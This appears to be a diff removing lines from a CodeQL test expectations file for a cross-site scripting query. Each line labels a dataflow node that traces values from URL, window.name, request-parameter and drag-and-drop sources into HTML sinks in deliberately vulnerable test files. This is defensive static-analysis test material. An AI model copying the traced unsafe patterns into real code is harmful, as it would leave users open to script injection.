-| dates.js:48:42:48:88 | DateTim ... (taint) | semmle.label | DateTim ... (taint) |
-| dates.js:48:83:48:87 | taint | semmle.label | taint |
-| dates.js:49:31:49:89 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:49:42:49:87 | new Dat ... (taint) | semmle.label | new Dat ... (taint) |
-| dates.js:49:82:49:86 | taint | semmle.label | taint |
-| dates.js:50:31:50:104 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:50:42:50:102 | DateTim ... (taint) | semmle.label | DateTim ... (taint) |
-| dates.js:50:97:50:101 | taint | semmle.label | taint |
-| dates.js:54:9:54:69 | taint | semmle.label | taint |
-| dates.js:54:17:54:69 | decodeU ... ing(1)) | semmle.label | decodeU ... ing(1)) |
-| dates.js:54:36:54:55 | window.location.hash | semmle.label | window.location.hash |
-| dates.js:54:36:54:68 | window. ... ring(1) | semmle.label | window. ... ring(1) |
-| dates.js:57:31:57:101 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:57:42:57:99 | moment. ... (taint) | semmle.label | moment. ... (taint) |
-| dates.js:57:94:57:98 | taint | semmle.label | taint |
-| dates.js:59:31:59:87 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:59:42:59:85 | luxon.e ... (taint) | semmle.label | luxon.e ... (taint) |
-| dates.js:59:80:59:84 | taint | semmle.label | taint |
-| dates.js:61:31:61:88 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
-| dates.js:61:42:61:86 | dayjs.s ... (taint) | semmle.label | dayjs.s ... (taint) |
-| dates.js:61:81:61:85 | taint | semmle.label | taint |
-| dragAndDrop.ts:8:11:8:50 | html | semmle.label | html |
-| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | semmle.label | dataTra ... /html') |
-| dragAndDrop.ts:15:25:15:28 | html | semmle.label | html |
-| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | semmle.label | e.dataT ... /html') |
-| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | semmle.label | e.dataT ... /html') |
-| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | semmle.label | e.origi ... /html') |
-| dragAndDrop.ts:43:15:43:54 | html | semmle.label | html |
-| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | semmle.label | dataTra ... /html') |
-| dragAndDrop.ts:50:29:50:32 | html | semmle.label | html |
-| dragAndDrop.ts:71:13:71:61 | droppedHtml | semmle.label | droppedHtml |
-| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | semmle.label | e.dataT ... /html') |
-| dragAndDrop.ts:73:29:73:39 | droppedHtml | semmle.label | droppedHtml |
-| event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | semmle.label | '<h2><a ... ></h2>' |
-| event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href |
-| express.js:7:15:7:33 | req.param("wobble") | semmle.label | req.param("wobble") |
-| jquery.js:2:7:2:40 | tainted | semmle.label | tainted |
-| jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search |
-| jquery.js:4:5:4:11 | tainted | semmle.label | tainted |
-| jquery.js:5:13:5:19 | tainted | semmle.label | tainted |
-| jquery.js:6:11:6:17 | tainted | semmle.label | tainted |
-| jquery.js:7:5:7:34 | "<div i ... + "\\">" | semmle.label | "<div i ... + "\\">" |
-| jquery.js:7:20:7:26 | tainted | semmle.label | tainted |
-| jquery.js:8:18:8:34 | "XSS: " + tainted | semmle.label | "XSS: " + tainted |
-| jquery.js:8:28:8:34 | tainted | semmle.label | tainted |
-| jquery.js:10:5:10:40 | "<b>" + ...  "</b>" | semmle.label | "<b>" + ...  "</b>" |
-| jquery.js:10:13:10:20 | location | semmle.label | location |
-| jquery.js:10:13:10:31 | location.toString() | semmle.label | location.toString() |
-| jquery.js:14:19:14:58 | decodeU ... n.hash) | semmle.label | decodeU ... n.hash) |
-| jquery.js:14:38:14:57 | window.location.hash | semmle.label | window.location.hash |
-| jquery.js:15:19:15:60 | decodeU ... search) | semmle.label | decodeU ... search) |
-| jquery.js:15:38:15:59 | window. ... .search | semmle.label | window. ... .search |
-| jquery.js:16:19:16:64 | decodeU ... ring()) | semmle.label | decodeU ... ring()) |
-| jquery.js:16:38:16:52 | window.location | semmle.label | window.location |
-| jquery.js:16:38:16:63 | window. ... tring() | semmle.label | window. ... tring() |
-| jquery.js:18:7:18:33 | hash | semmle.label | hash |
-| jquery.js:18:14:18:33 | window.location.hash | semmle.label | window.location.hash |
-| jquery.js:21:5:21:8 | hash | semmle.label | hash |
-| jquery.js:21:5:21:21 | hash.substring(1) | semmle.label | hash.substring(1) |
-| jquery.js:22:5:22:8 | hash | semmle.label | hash |
-| jquery.js:22:5:22:25 | hash.su ... (1, 10) | semmle.label | hash.su ... (1, 10) |
-| jquery.js:23:5:23:8 | hash | semmle.label | hash |
-| jquery.js:23:5:23:18 | hash.substr(1) | semmle.label | hash.substr(1) |
-| jquery.js:24:5:24:8 | hash | semmle.label | hash |
-| jquery.js:24:5:24:17 | hash.slice(1) | semmle.label | hash.slice(1) |
-| jquery.js:27:5:27:8 | hash | semmle.label | hash |
-| jquery.js:27:5:27:25 | hash.re ... #', '') | semmle.label | hash.re ... #', '') |
-| jquery.js:28:5:28:26 | window. ... .search | semmle.label | window. ... .search |
-| jquery.js:28:5:28:43 | window. ... ?', '') | semmle.label | window. ... ?', '') |
-| jquery.js:34:5:34:25 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
-| jquery.js:34:13:34:16 | hash | semmle.label | hash |
-| jquery.js:36:25:36:31 | tainted | semmle.label | tainted |
-| jquery.js:37:25:37:37 | () => tainted | semmle.label | () => tainted |
-| jquery.js:37:31:37:37 | tainted | semmle.label | tainted |
-| json-stringify.jsx:5:9:5:36 | locale | semmle.label | locale |
-| json-stringify.jsx:5:18:5:36 | req.param("locale") | semmle.label | req.param("locale") |
-| json-stringify.jsx:11:51:11:56 | locale | semmle.label | locale |
-| json-stringify.jsx:19:56:19:61 | locale | semmle.label | locale |
-| json-stringify.jsx:31:40:31:61 | JSON.st ... locale) | semmle.label | JSON.st ... locale) |
-| json-stringify.jsx:31:55:31:60 | locale | semmle.label | locale |
-| json-stringify.jsx:35:40:35:61 | JSON.st ... jsonLD) | semmle.label | JSON.st ... jsonLD) |
-| jwt-server.js:7:9:7:35 | taint | semmle.label | taint |
-| jwt-server.js:7:17:7:35 | req.param("wobble") | semmle.label | req.param("wobble") |
-| jwt-server.js:9:16:9:20 | taint | semmle.label | taint |
-| jwt-server.js:9:55:9:61 | decoded | semmle.label | decoded |
-| jwt-server.js:11:19:11:25 | decoded | semmle.label | decoded |
-| jwt-server.js:11:19:11:29 | decoded.foo | semmle.label | decoded.foo |
-| nodemailer.js:13:11:13:69 | `Hi, yo ... sage}.` | semmle.label | `Hi, yo ... sage}.` |
-| nodemailer.js:13:50:13:66 | req.query.message | semmle.label | req.query.message |
-| optionalSanitizer.js:2:7:2:39 | target | semmle.label | target |
-| optionalSanitizer.js:2:16:2:39 | documen ... .search | semmle.label | documen ... .search |
-| optionalSanitizer.js:6:18:6:23 | target | semmle.label | target |
-| optionalSanitizer.js:8:7:8:22 | tainted | semmle.label | tainted |
-| optionalSanitizer.js:8:17:8:22 | target | semmle.label | target |
-| optionalSanitizer.js:9:18:9:24 | tainted | semmle.label | tainted |
-| optionalSanitizer.js:15:9:15:14 | target | semmle.label | target |
-| optionalSanitizer.js:16:18:16:18 | x | semmle.label | x |
-| optionalSanitizer.js:17:20:17:20 | x | semmle.label | x |
-| optionalSanitizer.js:26:7:26:39 | target | semmle.label | target |
-| optionalSanitizer.js:26:16:26:39 | documen ... .search | semmle.label | documen ... .search |
-| optionalSanitizer.js:28:24:28:24 | x | semmle.label | x |
-| optionalSanitizer.js:29:12:29:12 | x | semmle.label | x |
-| optionalSanitizer.js:31:7:31:23 | tainted2 | semmle.label | tainted2 |
-| optionalSanitizer.js:31:18:31:23 | target | semmle.label | target |
-| optionalSanitizer.js:32:18:32:25 | tainted2 | semmle.label | tainted2 |
-| optionalSanitizer.js:34:5:34:36 | tainted2 | semmle.label | tainted2 |
-| optionalSanitizer.js:34:16:34:36 | sanitiz ... inted2) | semmle.label | sanitiz ... inted2) |
-| optionalSanitizer.js:34:28:34:35 | tainted2 | semmle.label | tainted2 |
-| optionalSanitizer.js:36:18:36:25 | tainted2 | semmle.label | tainted2 |
-| optionalSanitizer.js:38:7:38:23 | tainted3 | semmle.label | tainted3 |
-| optionalSanitizer.js:38:18:38:23 | target | semmle.label | target |
-| optionalSanitizer.js:39:18:39:25 | tainted3 | semmle.label | tainted3 |
-| optionalSanitizer.js:41:5:41:36 | tainted3 | semmle.label | tainted3 |
-| optionalSanitizer.js:41:16:41:36 | sanitiz ... inted3) | semmle.label | sanitiz ... inted3) |
-| optionalSanitizer.js:41:28:41:35 | tainted3 | semmle.label | tainted3 |
-| optionalSanitizer.js:43:18:43:25 | tainted3 | semmle.label | tainted3 |
-| optionalSanitizer.js:45:18:45:56 | sanitiz ...  target | semmle.label | sanitiz ...  target |
-| optionalSanitizer.js:45:29:45:47 | sanitizeBad(target) | semmle.label | sanitizeBad(target) |
-| optionalSanitizer.js:45:41:45:46 | target | semmle.label | target |
-| optionalSanitizer.js:45:51:45:56 | target | semmle.label | target |
-| pages/[id].jsx:3:30:3:35 | params [id] | semmle.label | params [id] |
-| pages/[id].jsx:3:30:3:35 | params [q] | semmle.label | params [q] |
-| pages/[id].jsx:5:9:5:14 | { id } | semmle.label | { id } |
-| pages/[id].jsx:5:9:5:29 | id | semmle.label | id |
-| pages/[id].jsx:5:18:5:29 | router.query | semmle.label | router.query |
-| pages/[id].jsx:10:44:10:45 | id | semmle.label | id |
-| pages/[id].jsx:13:44:13:49 | params [id] | semmle.label | params [id] |
-| pages/[id].jsx:13:44:13:52 | params.id | semmle.label | params.id |
-| pages/[id].jsx:16:44:16:49 | params [q] | semmle.label | params [q] |
-| pages/[id].jsx:16:44:16:51 | params.q | semmle.label | params.q |
-| pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [id] | semmle.label | {\\n      ... ,\\n    } [id] |
-| pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [q] | semmle.label | {\\n      ... ,\\n    } [q] |
-| pages/[id].jsx:25:11:25:24 | context.params | semmle.label | context.params |
-| pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | semmle.label | context ... d \|\| "" |
-| pages/[id].jsx:26:10:26:22 | context.query | semmle.label | context.query |
-| pages/[id].jsx:26:10:26:36 | context ... r \|\| "" | semmle.label | context ... r \|\| "" |
-| react-native.js:7:7:7:33 | tainted | semmle.label | tainted |
-| react-native.js:7:17:7:33 | req.param("code") | semmle.label | req.param("code") |
-| react-native.js:8:18:8:24 | tainted | semmle.label | tainted |
-| react-native.js:9:27:9:33 | tainted | semmle.label | tainted |
-| react-use-context.js:10:22:10:32 | window.name | semmle.label | window.name |
-| react-use-context.js:16:26:16:36 | window.name | semmle.label | window.name |
-| react-use-router.js:8:21:8:32 | router.query | semmle.label | router.query |
-| react-use-router.js:8:21:8:39 | router.query.foobar | semmle.label | router.query.foobar |
-| react-use-router.js:11:24:11:35 | router.query | semmle.label | router.query |
-| react-use-router.js:11:24:11:42 | router.query.foobar | semmle.label | router.query.foobar |
-| react-use-router.js:23:43:23:54 | router.query | semmle.label | router.query |
-| react-use-router.js:23:43:23:61 | router.query.foobar | semmle.label | router.query.foobar |
-| react-use-router.js:33:21:33:32 | router.query | semmle.label | router.query |
-| react-use-router.js:33:21:33:39 | router.query.foobar | semmle.label | router.query.foobar |
-| react-use-state.js:4:9:4:49 | state | semmle.label | state |
-| react-use-state.js:4:38:4:48 | window.name | semmle.label | window.name |
-| react-use-state.js:5:51:5:55 | state | semmle.label | state |
-| react-use-state.js:9:9:9:43 | state | semmle.label | state |
-| react-use-state.js:10:14:10:24 | window.name | semmle.label | window.name |
-| react-use-state.js:11:51:11:55 | state | semmle.label | state |
-| react-use-state.js:15:9:15:43 | state | semmle.label | state |
-| react-use-state.js:15:10:15:14 | state | semmle.label | state |
-| react-use-state.js:16:20:16:30 | window.name | semmle.label | window.name |
-| react-use-state.js:17:51:17:55 | state | semmle.label | state |
-| react-use-state.js:21:10:21:14 | state | semmle.label | state |
-| react-use-state.js:22:14:22:17 | prev | semmle.label | prev |
-| react-use-state.js:23:35:23:38 | prev | semmle.label | prev |
-| react-use-state.js:25:20:25:30 | window.name | semmle.label | window.name |
-| sanitiser.js:16:7:16:27 | tainted | semmle.label | tainted |
-| sanitiser.js:16:17:16:27 | window.name | semmle.label | window.name |
-| sanitiser.js:23:21:23:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
-| sanitiser.js:23:29:23:35 | tainted | semmle.label | tainted |
-| sanitiser.js:30:21:30:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
-| sanitiser.js:30:29:30:35 | tainted | semmle.label | tainted |
-| sanitiser.js:33:21:33:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
-| sanitiser.js:33:29:33:35 | tainted | semmle.label | tainted |
-| sanitiser.js:38:21:38:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
-| sanitiser.js:38:29:38:35 | tainted | semmle.label | tainted |
-| sanitiser.js:45:21:45:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
-| sanitiser.js:45:29:45:35 | tainted | semmle.label | tainted |
-| sanitiser.js:48:19:48:25 | tainted | semmle.label | tainted |
-| sanitiser.js:48:19:48:46 | tainted ... /g, '') | semmle.label | tainted ... /g, '') |
-| stored-xss.js:2:39:2:62 | documen ... .search | semmle.label | documen ... .search |
-| stored-xss.js:3:35:3:58 | documen ... .search | semmle.label | documen ... .search |
-| stored-xss.js:5:20:5:52 | session ... ssion') | semmle.label | session ... ssion') |
-| stored-xss.js:8:20:8:48 | localSt ... local') | semmle.label | localSt ... local') |
-| stored-xss.js:10:9:10:44 | href | semmle.label | href |
-| stored-xss.js:10:16:10:44 | localSt ... local') | semmle.label | localSt ... local') |
-| stored-xss.js:12:20:12:54 | "<a hre ... ar</a>" | semmle.label | "<a hre ... ar</a>" |
-| stored-xss.js:12:35:12:38 | href | semmle.label | href |
-| string-manipulations.js:3:16:3:32 | document.location | semmle.label | document.location |
-| string-manipulations.js:4:16:4:37 | documen ... on.href | semmle.label | documen ... on.href |
-| string-manipulations.js:5:16:5:37 | documen ... on.href | semmle.label | documen ... on.href |
-| string-manipulations.js:5:16:5:47 | documen ... lueOf() | semmle.label | documen ... lueOf() |
-| string-manipulations.js:6:16:6:37 | documen ... on.href | semmle.label | documen ... on.href |
-| string-manipulations.js:6:16:6:43 | documen ... f.sup() | semmle.label | documen ... f.sup() |
-| string-manipulations.js:7:16:7:37 | documen ... on.href | semmle.label | documen ... on.href |
-| string-manipulations.js:7:16:7:51 | documen ... rCase() | semmle.label | documen ... rCase() |
-| string-manipulations.js:8:16:8:37 | documen ... on.href | semmle.label | documen ... on.href |
-| string-manipulations.js:8:16:8:48 | documen ... mLeft() | semmle.label | documen ... mLeft() |
-| string-manipulations.js:9:16:9:58 | String. ... n.href) | semmle.label | String. ... n.href) |
-| string-manipulations.js:9:36:9:57 | documen ... on.href | semmle.label | documen ... on.href |
-| string-manipulations.js:10:16:10:45 | String( ... n.href) | semmle.label | String( ... n.href) |
-| string-manipulations.js:10:23:10:44 | documen ... on.href | semmle.label | documen ... on.href |
-| tainted-url-suffix-arguments.js:3:17:3:17 | y | semmle.label | y |
-| tainted-url-suffix-arguments.js:6:22:6:22 | y | semmle.label | y |
-| tainted-url-suffix-arguments.js:11:11:11:36 | url | semmle.label | url |
-| tainted-url-suffix-arguments.js:11:17:11:36 | window.location.href | semmle.label | window.location.href |
-| tainted-url-suffix-arguments.js:12:17:12:19 | url | semmle.label | url |
-| tooltip.jsx:6:11:6:30 | source | semmle.label | source |
-| tooltip.jsx:6:20:6:30 | window.name | semmle.label | window.name |
-| tooltip.jsx:10:25:10:30 | source | semmle.label | source |
-| tooltip.jsx:11:25:11:30 | source | semmle.label | source |
-| tooltip.jsx:17:11:17:33 | provide [source] | semmle.label | provide [source] |
-| tooltip.jsx:17:21:17:33 | props.provide [source] | semmle.label | props.provide [source] |
-| tooltip.jsx:18:51:18:57 | provide [source] | semmle.label | provide [source] |
-| tooltip.jsx:18:51:18:59 | provide() | semmle.label | provide() |
-| tooltip.jsx:22:11:22:30 | source | semmle.label | source |
-| tooltip.jsx:22:20:22:30 | window.name | semmle.label | window.name |
-| tooltip.jsx:23:38:23:43 | source | semmle.label | source |
-| translate.js:6:7:6:39 | target | semmle.label | target |
-| translate.js:6:16:6:39 | documen ... .search | semmle.label | documen ... .search |
-| translate.js:7:7:7:61 | searchParams | semmle.label | searchParams |
-| translate.js:7:7:7:61 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
-| translate.js:7:22:7:61 | new URL ... ing(1)) | semmle.label | new URL ... ing(1)) |
-| translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | semmle.label | new URL ... ing(1)) [MapValue] |
-| translate.js:7:42:7:47 | target | semmle.label | target |
-| translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
-| translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
-| translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
-| translate.js:9:27:9:38 | searchParams | semmle.label | searchParams |
-| translate.js:9:27:9:38 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
-| translate.js:9:27:9:50 | searchP ... 'term') | semmle.label | searchP ... 'term') |
-| trusted-types-lib.js:1:28:1:28 | x | semmle.label | x |
-| trusted-types-lib.js:2:12:2:12 | x | semmle.label | x |
-| trusted-types.js:3:62:3:62 | x | semmle.label | x |
-| trusted-types.js:3:67:3:67 | x | semmle.label | x |
-| trusted-types.js:4:20:4:30 | window.name | semmle.label | window.name |
-| trusted-types.js:13:20:13:30 | window.name | semmle.label | window.name |
-| tst3.js:2:12:2:75 | JSON.pa ... tr(1))) | semmle.label | JSON.pa ... tr(1))) |
-| tst3.js:2:23:2:74 | decodeU ... str(1)) | semmle.label | decodeU ... str(1)) |
-| tst3.js:2:42:2:63 | window. ... .search | semmle.label | window. ... .search |
-| tst3.js:2:42:2:73 | window. ... bstr(1) | semmle.label | window. ... bstr(1) |
-| tst3.js:4:25:4:28 | data | semmle.label | data |
-| tst3.js:4:25:4:32 | data.src | semmle.label | data.src |
-| tst3.js:5:26:5:29 | data | semmle.label | data |
-| tst3.js:5:26:5:31 | data.p | semmle.label | data.p |
-| tst3.js:7:32:7:35 | data | semmle.label | data |
-| tst3.js:7:32:7:37 | data.p | semmle.label | data.p |
-| tst3.js:9:37:9:40 | data | semmle.label | data |
-| tst3.js:9:37:9:42 | data.p | semmle.label | data.p |
-| tst3.js:10:38:10:41 | data | semmle.label | data |
-| tst3.js:10:38:10:43 | data.p | semmle.label | data.p |
-| tst.js:2:7:2:39 | target | semmle.label | target |
-| tst.js:2:16:2:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:5:18:5:23 | target | semmle.label | target |
-| tst.js:8:18:8:126 | "<OPTIO ... PTION>" | semmle.label | "<OPTIO ... PTION>" |
-| tst.js:8:37:8:58 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:8:37:8:114 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
-| tst.js:8:37:8:114 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
-| tst.js:12:5:12:42 | '<div s ...  'px">' | semmle.label | '<div s ...  'px">' |
-| tst.js:12:28:12:33 | target | semmle.label | target |
-| tst.js:17:7:17:56 | params | semmle.label | params |
-| tst.js:17:7:17:56 | params [MapValue] | semmle.label | params [MapValue] |
-| tst.js:17:16:17:43 | (new UR ... ation)) [searchParams, MapValue] | semmle.label | (new UR ... ation)) [searchParams, MapValue] |
-| tst.js:17:16:17:43 | (new UR ... ation)) [searchParams] | semmle.label | (new UR ... ation)) [searchParams] |
-| tst.js:17:16:17:56 | (new UR ... hParams | semmle.label | (new UR ... hParams |
-| tst.js:17:16:17:56 | (new UR ... hParams [MapValue] | semmle.label | (new UR ... hParams [MapValue] |
-| tst.js:17:17:17:42 | new URL ... cation) [searchParams, MapValue] | semmle.label | new URL ... cation) [searchParams, MapValue] |
-| tst.js:17:17:17:42 | new URL ... cation) [searchParams] | semmle.label | new URL ... cation) [searchParams] |
-| tst.js:17:25:17:41 | document.location | semmle.label | document.location |
-| tst.js:18:18:18:23 | params | semmle.label | params |
-| tst.js:18:18:18:23 | params [MapValue] | semmle.label | params [MapValue] |
-| tst.js:18:18:18:35 | params.get('name') | semmle.label | params.get('name') |
-| tst.js:20:7:20:61 | searchParams | semmle.label | searchParams |
-| tst.js:20:7:20:61 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
-| tst.js:20:22:20:61 | new URL ... ing(1)) | semmle.label | new URL ... ing(1)) |
-| tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | semmle.label | new URL ... ing(1)) [MapValue] |
-| tst.js:20:42:20:47 | target | semmle.label | target |
-| tst.js:20:42:20:60 | target.substring(1) | semmle.label | target.substring(1) |
-| tst.js:20:42:20:60 | target.substring(1) | semmle.label | target.substring(1) |
-| tst.js:20:42:20:60 | target.substring(1) | semmle.label | target.substring(1) |
-| tst.js:21:18:21:29 | searchParams | semmle.label | searchParams |
-| tst.js:21:18:21:29 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
-| tst.js:21:18:21:41 | searchP ... 'name') | semmle.label | searchP ... 'name') |
-| tst.js:24:14:24:19 | target | semmle.label | target |
-| tst.js:26:18:26:23 | target | semmle.label | target |
-| tst.js:28:5:28:28 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:31:10:31:33 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:34:16:34:20 | bar() | semmle.label | bar() |
-| tst.js:36:14:36:14 | x | semmle.label | x |
-| tst.js:37:10:37:10 | x | semmle.label | x |
-| tst.js:40:16:40:44 | baz(doc ... search) | semmle.label | baz(doc ... search) |
-| tst.js:40:20:40:43 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:42:15:42:15 | s | semmle.label | s |
-| tst.js:42:15:42:15 | s | semmle.label | s |
-| tst.js:43:10:43:31 | "<div>" ... </div>" | semmle.label | "<div>" ... </div>" |
-| tst.js:43:20:43:20 | s | semmle.label | s |
-| tst.js:43:20:43:20 | s | semmle.label | s |
-| tst.js:46:16:46:45 | wrap(do ... search) | semmle.label | wrap(do ... search) |
-| tst.js:46:21:46:44 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:48:15:48:15 | s | semmle.label | s |
-| tst.js:50:12:50:12 | s | semmle.label | s |
-| tst.js:50:12:50:22 | s.substr(1) | semmle.label | s.substr(1) |
-| tst.js:50:12:50:22 | s.substr(1) | semmle.label | s.substr(1) |
-| tst.js:50:12:50:22 | s.substr(1) | semmle.label | s.substr(1) |
-| tst.js:54:16:54:45 | chop(do ... search) | semmle.label | chop(do ... search) |
-| tst.js:54:21:54:44 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:56:16:56:45 | chop(do ... search) | semmle.label | chop(do ... search) |
-| tst.js:56:21:56:44 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:58:16:58:32 | wrap(chop(bar())) | semmle.label | wrap(chop(bar())) |
-| tst.js:58:21:58:31 | chop(bar()) | semmle.label | chop(bar()) |
-| tst.js:58:21:58:31 | chop(bar()) | semmle.label | chop(bar()) |
-| tst.js:58:26:58:30 | bar() | semmle.label | bar() |
-| tst.js:60:34:60:34 | s | semmle.label | s |
-| tst.js:62:18:62:18 | s | semmle.label | s |
-| tst.js:64:25:64:48 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:65:25:65:48 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:68:16:68:20 | bar() | semmle.label | bar() |
-| tst.js:70:1:70:27 | [,docum ... search] [1] | semmle.label | [,docum ... search] [1] |
-| tst.js:70:3:70:26 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:70:46:70:46 | x | semmle.label | x |
-| tst.js:73:20:73:20 | x | semmle.label | x |
-| tst.js:77:49:77:72 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:81:26:81:49 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:82:25:82:48 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:84:33:84:56 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:85:32:85:55 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:90:39:90:62 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:96:30:96:53 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:102:25:102:48 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:107:7:107:44 | v | semmle.label | v |
-| tst.js:107:11:107:34 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:107:11:107:44 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
-| tst.js:110:18:110:18 | v | semmle.label | v |
-| tst.js:136:18:136:18 | v | semmle.label | v |
-| tst.js:148:29:148:50 | window. ... .search | semmle.label | window. ... .search |
-| tst.js:151:29:151:29 | v | semmle.label | v |
-| tst.js:151:49:151:49 | v | semmle.label | v |
-| tst.js:155:29:155:46 | xssSourceService() | semmle.label | xssSourceService() |
-| tst.js:158:40:158:61 | window. ... .search | semmle.label | window. ... .search |
-| tst.js:177:9:177:41 | target | semmle.label | target |
-| tst.js:177:18:177:41 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:180:28:180:33 | target | semmle.label | target |
-| tst.js:184:9:184:42 | tainted | semmle.label | tainted |
-| tst.js:184:19:184:42 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:186:31:186:37 | tainted | semmle.label | tainted |
-| tst.js:188:42:188:48 | tainted | semmle.label | tainted |
-| tst.js:189:33:189:39 | tainted | semmle.label | tainted |
-| tst.js:191:54:191:60 | tainted | semmle.label | tainted |
-| tst.js:192:45:192:51 | tainted | semmle.label | tainted |
-| tst.js:193:49:193:55 | tainted | semmle.label | tainted |
-| tst.js:197:9:197:42 | tainted | semmle.label | tainted |
-| tst.js:197:19:197:42 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:199:67:199:73 | tainted | semmle.label | tainted |
-| tst.js:200:67:200:73 | tainted | semmle.label | tainted |
-| tst.js:204:35:204:41 | tainted | semmle.label | tainted |
-| tst.js:206:46:206:52 | tainted | semmle.label | tainted |
-| tst.js:207:38:207:44 | tainted | semmle.label | tainted |
-| tst.js:208:35:208:41 | tainted | semmle.label | tainted |
-| tst.js:212:28:212:46 | this.state.tainted1 | semmle.label | this.state.tainted1 |
-| tst.js:213:28:213:46 | this.state.tainted2 | semmle.label | this.state.tainted2 |
-| tst.js:214:28:214:46 | this.state.tainted3 | semmle.label | this.state.tainted3 |
-| tst.js:218:32:218:49 | prevState.tainted4 | semmle.label | prevState.tainted4 |
-| tst.js:225:28:225:46 | this.props.tainted1 | semmle.label | this.props.tainted1 |
-| tst.js:226:28:226:46 | this.props.tainted2 | semmle.label | this.props.tainted2 |
-| tst.js:227:28:227:46 | this.props.tainted3 | semmle.label | this.props.tainted3 |
-| tst.js:231:32:231:49 | prevProps.tainted4 | semmle.label | prevProps.tainted4 |
-| tst.js:236:35:236:41 | tainted | semmle.label | tainted |
-| tst.js:238:20:238:26 | tainted | semmle.label | tainted |
-| tst.js:240:23:240:29 | tainted | semmle.label | tainted |
-| tst.js:241:23:241:29 | tainted | semmle.label | tainted |
-| tst.js:247:39:247:55 | props.propTainted | semmle.label | props.propTainted |
-| tst.js:251:60:251:82 | this.st ... Tainted | semmle.label | this.st ... Tainted |
-| tst.js:255:23:255:29 | tainted | semmle.label | tainted |
-| tst.js:259:7:259:17 | window.name | semmle.label | window.name |
-| tst.js:260:7:260:10 | name | semmle.label | name |
-| tst.js:264:11:264:21 | window.name | semmle.label | window.name |
-| tst.js:280:22:280:29 | location | semmle.label | location |
-| tst.js:285:9:285:29 | tainted | semmle.label | tainted |
-| tst.js:285:19:285:29 | window.name | semmle.label | window.name |
-| tst.js:288:59:288:65 | tainted | semmle.label | tainted |
-| tst.js:301:9:301:16 | location | semmle.label | location |
-| tst.js:302:10:302:10 | e | semmle.label | e |
-| tst.js:303:20:303:20 | e | semmle.label | e |
-| tst.js:308:10:308:17 | location | semmle.label | location |
-| tst.js:310:10:310:10 | e | semmle.label | e |
-| tst.js:311:20:311:20 | e | semmle.label | e |
-| tst.js:316:35:316:42 | location | semmle.label | location |
-| tst.js:327:10:327:35 | new URL ... cation) [searchParams, MapValue] | semmle.label | new URL ... cation) [searchParams, MapValue] |
-| tst.js:327:10:327:35 | new URL ... cation) [searchParams] | semmle.label | new URL ... cation) [searchParams] |
-| tst.js:327:18:327:34 | document.location | semmle.label | document.location |
-| tst.js:331:7:331:43 | params | semmle.label | params |
-| tst.js:331:7:331:43 | params [MapValue] | semmle.label | params [MapValue] |
-| tst.js:331:16:331:30 | getTaintedUrl() [searchParams, MapValue] | semmle.label | getTaintedUrl() [searchParams, MapValue] |
-| tst.js:331:16:331:30 | getTaintedUrl() [searchParams] | semmle.label | getTaintedUrl() [searchParams] |
-| tst.js:331:16:331:43 | getTain ... hParams | semmle.label | getTain ... hParams |
-| tst.js:331:16:331:43 | getTain ... hParams [MapValue] | semmle.label | getTain ... hParams [MapValue] |
-| tst.js:332:18:332:23 | params | semmle.label | params |
-| tst.js:332:18:332:23 | params [MapValue] | semmle.label | params [MapValue] |
